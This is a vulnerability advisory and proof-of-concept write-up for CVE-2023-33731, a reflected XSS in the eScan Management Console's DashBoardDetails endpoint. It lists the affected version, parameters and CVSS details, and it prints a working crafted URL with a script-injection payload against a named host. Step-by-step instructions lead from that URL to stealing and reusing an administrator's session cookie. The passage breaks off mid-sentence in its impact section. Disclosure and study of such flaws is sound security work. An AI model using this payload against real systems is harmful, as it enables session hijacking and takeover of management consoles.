sahiloj/cve-2023-33731A Reflected Cross-Site Scripting (XSS) vulnerability was discovered in the eScan Management Console (version 14.0.1400.2281) developed by Microworld Technologies.
-orange){kind=icon}
A Reflected Cross-Site Scripting (XSS) vulnerability was discovered in the eScan Management Console (version 14.0.1400.2281) developed by Microworld Technologies. The vulnerability exists in the Dashboard Details (DashBoardDetails) endpoint, where multiple query-string parameters are reflected into the HTML response without proper sanitization or output encoding. An unauthenticated remote attacker can craft a malicious URL and trick an authenticated administrator into clicking it, causing arbitrary JavaScript to execute in the victim's browser session.
| Field | Value |
|---|---|
| CVE ID | CVE-2023-33731 |
| Vulnerability Type | Reflected Cross-Site Scripting (XSS) |
| CWE | CWE-79 — Improper Neutralization of Input During Web Page Generation |
| Affected Product | Microworld Technologies eScan Management Console |
| Affected Version | 14.0.1400.2281 |
| Vulnerable Endpoint | /ewconsole/ewconsole.dll/DashBoardDetails |
| Vulnerable Parameters | type, subtype, result |
| Attack Vector | Network (crafted URL delivered via phishing / social engineering) |
| Authentication Required | Victim must be authenticated; attacker does not need credentials |
| Tested On | Windows |
| Disclosed | 30 May 2023 |
| Vendor Homepage | https://www.escanav.com |
| Metric | Value |
|---|---|
| Base Score | 6.1 (Medium) |
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | None |
| User Interaction | Required |
| Scope | Changed |
| Confidentiality | Low |
| Integrity | Low |
| Availability | None |
CVSS 3.1 Vector:
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
The eScan Management Console exposes a web interface (ewconsole.dll) that handles various management operations, including dashboard views. The DashBoardDetails endpoint accepts several query-string parameters (type, subtype, result, windowname, DisplayOSSelection) and uses their values to dynamically construct HTML content in the server response.
The server-side code fails to sanitize or HTML-encode user-supplied input before embedding it into the response body. Specifically, the type parameter value is reflected directly into an HTML attribute context without escaping special characters such as ", <, and >. This allows an attacker to break out of the attribute context and inject arbitrary HTML/JavaScript tags.
The same flaw is present in the subtype and result parameters.
GET /ewconsole/ewconsole.dll/DashBoardDetails?type=<PAYLOAD>&subtype=<PAYLOAD>&result=<PAYLOAD>&windowname=usrmgmt&DisplayOSSelection=true
Host: cl.escanav.com
The URL-encoded payload PS%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E decodes to:
PS"><script>alert(document.cookie)</script>
| Fragment | Purpose |
|---|---|
PS" | Closes the existing HTML attribute value (" terminates the attribute) |
> | Closes the surrounding HTML tag |
<script>alert(document.cookie)</script> | Injects a script block that executes JavaScript, here exfiltrating the session cookie |
⚠️ For educational and authorized security research purposes only.
Step 1: Log in to the eScan Management Console with valid credentials.
Step 2: Navigate to (or deliver to an authenticated victim) the following crafted URL:
https://cl.escanav.com/ewconsole/ewconsole.dll/DashBoardDetails?type=PS%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&subtype=13&result=3&windowname=usrmgmt&DisplayOSSelection=true
Decoded payload in the type parameter:
PS"><script>alert(document.cookie)</script>
Step 3: Upon loading the page, the injected script executes in the browser. An alert dialog appears displaying the victim's active session cookie.
Step 4: The attacker captures the session cookie value and uses it to hijack the administrator's session, gaining full control of the management console.
Successful exploitation of this vulnerability allows an attacker to: